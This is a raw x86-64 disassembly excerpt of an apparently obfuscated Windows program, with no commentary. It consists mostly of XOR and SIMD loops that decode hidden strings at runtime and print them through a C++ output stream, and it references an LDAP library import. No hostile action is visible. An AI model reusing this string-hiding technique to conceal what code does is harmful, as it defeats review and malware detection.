movzx eax, word [0x1401d6c00]
mov word [rsp + 0x40], ax
movsd xmm0, qword [0x1401d6bf8]
movzx eax, byte [0x1401d6c02]
movsd qword [rsp + 0x38], xmm0
mov byte [rsp + 0x38], 0xa
xor byte [rsp + 0x39], 0x36
xor byte [rsp + 0x3a], 0x37
xor byte [rsp + 0x3b], 0x38
xor byte [rsp + 0x3c], 0x39
xor byte [rsp + 0x3d], 0x3a
xor byte [rsp + 0x3e], 0x3b
xor byte [rsp + 0x3f], 0x3c
xor byte [rsp + 0x40], 0x3d
xor byte [rsp + 0x41], 0x3e
xor al, 0x3f
mov byte [rsp + 0x42], al
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x130]
call fcn.140025470
lea rdx, [rsp + 0x3c0]
mov r8, qword [rsp + 0x3d0]
mov rcx, rax
cmp qword [rsp + 0x3d8], 0xf
jbe 0x1401241e5
mov rdx, qword [rsp + 0x3c0]
call fcn.140025fa0
mov r8, rax
movzx eax, word [0x1401d7ad8]
mov word [rsp + 0x68], ax
jmp 0x1401241f9
call fcn.140025fa0
mov r8, rax
movzx ecx, word [0x1401d7ad8]
mov word [rsp + 0x68], cx
movsd xmm0, qword [str._xRO]
movzx eax, byte [0x1401d7ada]
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], 0xa
xor byte [rsp + 0x61], 0x36
xor byte [rsp + 0x62], 0x37
xor byte [rsp + 0x63], 0x38
xor byte [rsp + 0x64], 0x39
xor byte [rsp + 0x65], 0x3a
xor byte [rsp + 0x66], 0x3b
xor byte [rsp + 0x67], 0x3c
xor byte [rsp + 0x68], 0x3d
xor byte [rsp + 0x69], 0x3e
xor al, 0x3f
mov byte [rsp + 0x6a], al
lea rdx, [rsp + 0x60]
mov rcx, r8
call fcn.140025470
lea rdx, [rsp + 0x3e0]
mov r8, qword [rsp + 0x3f0]
mov rcx, rax
cmp qword [rsp + 0x3f8], 0xf
jbe 0x14012428f
mov rdx, qword [rsp + 0x3e0]
call fcn.140025fa0
mov r8, rax
movzx eax, word [0x1401d6930]
mov word [rsp + 0x30], ax
jmp 0x1401242a3
call fcn.140025fa0
mov r8, rax
movzx ecx, word [0x1401d6930]
mov word [rsp + 0x30], cx
movzx eax, byte [0x1401d6932]
mov byte [rsp + 0x30], 0xa
xor byte [rsp + 0x31], 0x36
xor al, 0x37
mov byte [rsp + 0x32], al
lea rdx, [rsp + 0x30]
mov rcx, r8
call fcn.140025470
movsd xmm0, qword [str.gSGTXYX]
movsd qword [rsp + 0x38], xmm0
movzx eax, word [0x1401d70c8]
mov word [rsp + 0x40], ax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x130]
cmp byte [0x1401d70c9], 0
je 0x140124337
mov byte [rsp + 0x38], 0x52
xor byte [rsp + 0x39], 0x36
xor byte [rsp + 0x3a], 0x37
xor byte [rsp + 0x3b], 0x38
xor byte [rsp + 0x3c], 0x39
xor byte [rsp + 0x3d], 0x3a
xor byte [rsp + 0x3e], 0x3b
xor byte [rsp + 0x3f], 0x3c
xor byte [rsp + 0x40], 0x3d
xor byte [rsp + 0x41], 0x3e
call fcn.140025470
mov edx, dword [rsp + 0x10c]
jmp 0x14012433f
call fcn.140025470
mov edx, r12d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
movups xmm0, xmmword [0x1401d7060]
mov r10, rax
movups xmmword [rsp + 0xb0], xmm0
movzx eax, word [0x1401d70a8]
movups xmm0, xmmword [0x1401d7080]
movups xmm1, xmmword [0x1401d7070]
mov word [rsp + 0xf8], ax
movups xmmword [rsp + 0xd0], xmm0
movups xmmword [rsp + 0xc0], xmm1
movzx eax, byte [0x1401d70aa]
movsd xmm0, qword [0x1401d70a0]
movups xmm1, xmmword [0x1401d7090]
mov byte [rsp + 0xfa], al
movsd qword [rsp + 0xf0], xmm0
movups xmmword [rsp + 0xe0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x1401244cb
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0xb4]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1401243e0
cmp r8d, 0x4b
jge 0x140124512
movsxd rax, r8d
lea r9, [rsp + 0xb0]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4b
jl 0x1401244e0
lea rdx, [rsp + 0xb0]
mov rcx, r10
call fcn.140025470
movups xmm0, xmmword [str._y__]
movups xmmword [rsp + 0x80], xmm0
movzx eax, word [0x1401d7850]
mov word [rsp + 0x90], ax
movzx eax, byte [0x1401d7852]
mov byte [rsp + 0x92], al
mov r8d, edi
cmp r14d, 2
jl 0x14012465b
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x84]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140124570
cmp r8d, 0x13
jge 0x1401246a2
movsxd rax, r8d
lea r9, [rsp + 0x80]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140124670
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x130]
call fcn.140025470
lea rdx, [rsp + 0x368]
mov r8, qword [rsp + 0x378]
mov rcx, rax
cmp qword [rsp + 0x380], 0xf
jbe 0x1401246fe
mov rdx, qword [rsp + 0x368]
call fcn.140025fa0
mov r10, rax
movzx eax, word [0x1401d6c60]
mov word [rsp + 0x48], ax
movzx eax, byte [0x1401d6c62]
mov byte [rsp + 0x4a], al
jmp 0x14012471d
call fcn.140025fa0
mov r10, rax
movzx ecx, word [0x1401d6c60]
mov word [rsp + 0x48], cx
movzx ecx, byte [0x1401d6c62]
mov byte [rsp + 0x4a], cl
movups xmm0, xmmword [0x1401d6c50]
movups xmmword [rsp + 0x38], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x14012483b
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x3c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140124750
cmp r8d, 0x13
jge 0x140124882
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140124850
lea rdx, [rsp + 0x38]
mov rcx, r10
call fcn.140025470
lea rdx, [rsp + 0x260]
mov r8, qword [rsp + 0x270]
mov rcx, rax
cmp qword [rsp + 0x278], 0xf
jbe 0x1401248cb
mov rdx, qword [rsp + 0x260]
call fcn.140025fa0
mov r8, rax
movzx eax, word [0x1401d6930]
mov word [rsp + 0x30], ax
jmp 0x1401248df
call fcn.140025fa0
mov r8, rax
movzx ecx, word [0x1401d6930]
mov word [rsp + 0x30], cx
movzx eax, byte [0x1401d6932]
mov byte [rsp + 0x30], 0xa
xor byte [rsp + 0x31], 0x36
xor al, 0x37
mov byte [rsp + 0x32], al
lea rdx, [rsp + 0x30]
mov rcx, r8
call fcn.140025470
movsd xmm0, qword [str.gSGTXYX]
movsd qword [rsp + 0x38], xmm0
movzx eax, word [0x1401d70c8]
mov word [rsp + 0x40], ax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x130]
cmp byte [0x1401d70c9], 0
je 0x14012498d
mov byte [rsp + 0x38], 0x52
xor byte [rsp + 0x39], 0x36
xor byte [rsp + 0x3a], 0x37
xor byte [rsp + 0x3b], 0x38
xor byte [rsp + 0x3c], 0x39
xor byte [rsp + 0x3d], 0x3a
xor byte [rsp + 0x3e], 0x3b
xor byte [rsp + 0x3f], 0x3c
xor byte [rsp + 0x40], 0x3d
xor byte [rsp + 0x41], 0x3e
call fcn.140025470
mov edx, dword [rsp + 0x110]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov r10, rax
movzx eax, byte [0x1401d6fc0]
mov byte [rsp + 0xf0], al
jmp 0x1401249ae
call fcn.140025470
mov edx, esi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov r10, rax
movzx ecx, byte [0x1401d6fc0]
mov byte [rsp + 0xf0], cl
movups xmm1, xmmword [0x1401d6f90]
movups xmm0, xmmword [0x1401d6f80]
movups xmmword [rsp + 0xc0], xmm1
movups xmmword [rsp + 0xb0], xmm0
movups xmm1, xmmword [0x1401d6fb0]
movups xmm0, xmmword [0x1401d6fa0]
movups xmmword [rsp + 0xe0], xmm1
movups xmmword [rsp + 0xd0], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x140124afb
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0xb4]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140124a10
cmp r8d, 0x41
jge 0x140124b42
movsxd rax, r8d
lea r9, [rsp + 0xb0]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x140124b10
lea rdx, [rsp + 0xb0]
mov rcx, r10
call fcn.140025470
movups xmm0, xmmword [0x1401d6e98]
movups xmmword [rsp + 0x80], xmm0
movsd xmm0, qword [0x1401d6ea8]
movsd qword [rsp + 0x90], xmm0
cmp byte [0x1401d6eaf], 0
je 0x140124cc2
cmp r14d, 2
jl 0x140124c85
mov edx, edi
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x84]
mov r8d, dword [rsp + 0x60]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140124ba0
jmp 0x140124cc2
lea r9, [rsp + 0x80]
mov r8d, edi
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140124c90
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x130]
call fcn.140025470
lea rdx, [rsp + 0x348]
cmp qword [rsp + 0x360], 0xf
cmova rdx, qword [rsp + 0x348]
mov r8, qword [rsp + 0x358]
mov rcx, rax
call fcn.140025fa0
mov r10, rax
movups xmm0, xmmword [0x1401d7380]
movups xmmword [rsp + 0x38], xmm0
movsd xmm0, qword [0x1401d7390]
movsd qword [rsp + 0x48], xmm0
cmp byte [0x1401d7397], 0
je 0x140124e72
cmp r14d, 2
jl 0x140124e35
mov edx, edi
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x3c]
mov r8d, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140124d50
jmp 0x140124e72
lea r9, [rsp + 0x38]
mov r8d, edi
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140124e40
lea rdx, [rsp + 0x38]
mov rcx, r10
call fcn.140025470
lea rdx, [rsp + 0x2b8]
mov r8, qword [rsp + 0x2c8]
mov rcx, rax
cmp qword [rsp + 0x2d0], 0xf
jbe 0x140124ebb
mov rdx, qword [rsp + 0x2b8]
call fcn.140025fa0
mov r8, rax
movzx eax, word [0x1401d6930]
mov word [rsp + 0x30], ax
jmp 0x140124ecf
call fcn.140025fa0
mov r8, rax
movzx ecx, word [0x1401d6930]
mov word [rsp + 0x30], cx
movzx eax, byte [0x1401d6932]
mov byte [rsp + 0x30], 0xa
xor byte [rsp + 0x31], 0x36
xor al, 0x37
mov byte [rsp + 0x32], al
lea rdx, [rsp + 0x30]
mov rcx, r8
call fcn.140025470
movsd xmm0, qword [str.gSGTXYX]
movsd qword [rsp + 0x38], xmm0
movzx eax, word [0x1401d70c8]
mov word [rsp + 0x40], ax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x130]
cmp byte [0x1401d70c9], 0
je 0x140124f7c
mov byte [rsp + 0x38], 0x52
xor byte [rsp + 0x39], 0x36
xor byte [rsp + 0x3a], 0x37
xor byte [rsp + 0x3b], 0x38
xor byte [rsp + 0x3c], 0x39
xor byte [rsp + 0x3d], 0x3a
xor byte [rsp + 0x3e], 0x3b
xor byte [rsp + 0x3f], 0x3c
xor byte [rsp + 0x40], 0x3d
xor byte [rsp + 0x41], 0x3e
call fcn.140025470
mov edx, dword [rsp + 0x114]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov r10, rax
mov eax, dword [str._.jOF]
mov dword [rsp + 0xf0], eax
jmp 0x140124fa1
call fcn.140025470
mov edx, dword [rsp + 0xa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov r10, rax
mov ecx, dword [str._.jOF]
mov dword [rsp + 0xf0], ecx
movzx eax, word [0x1401d6f34]
movups xmm1, xmmword [0x1401d6f00]
movups xmm0, xmmword [0x1401d6ef0]
mov word [rsp + 0xf4], ax
movups xmmword [rsp + 0xc0], xmm1
movups xmmword [rsp + 0xb0], xmm0
movzx eax, byte [0x1401d6f36]
movups xmm1, xmmword [0x1401d6f20]
movups xmm0, xmmword [0x1401d6f10]
mov byte [rsp + 0xf6], al
movups xmmword [rsp + 0xe0], xmm1
movups xmmword [rsp + 0xd0], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x14012510b
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0xb4]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140125020
cmp r8d, 0x47
jge 0x140125152
movsxd rax, r8d
lea r9, [rsp + 0xb0]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x47
jl 0x140125120
lea rdx, [rsp + 0xb0]
mov rcx, r10
call fcn.140025470
movups xmm0, xmmword [0x1401d70e8]
movups xmmword [rsp + 0x38], xmm0
movsd xmm0, qword [0x1401d70f8]
movsd qword [rsp + 0x48], xmm0
movzx eax, word [0x1401d7100]
mov word [rsp + 0x50], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rsp + 0x52], al
mov r8d, edi
cmp r14d, 2
jl 0x14012529b
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x3c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1401251b0
cmp r8d, 0x1b
jge 0x1401252e2
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1401252b0
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x130]
call fcn.140025470
lea rdx, [rsp + 0x328]
mov r8, qword [rsp + 0x338]
mov rcx, rax
cmp qword [rsp + 0x340], 0xf
jbe 0x140125341
mov rdx, qword [rsp + 0x328]
call fcn.140025fa0
mov r10, rax
movzx eax, word [0x1401d6cb0]
mov word [rsp + 0x98], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rsp + 0x9a], al
jmp 0x140125366
call fcn.140025fa0
mov r10, rax
movzx ecx, word [0x1401d6cb0]
mov word [rsp + 0x98], cx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rsp + 0x9a], cl
movups xmm0, xmmword [0x1401d6c98]
movups xmmword [rsp + 0x80], xmm0
movsd xmm0, qword [0x1401d6ca8]
movsd qword [rsp + 0x90], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x14012549b
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x84]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
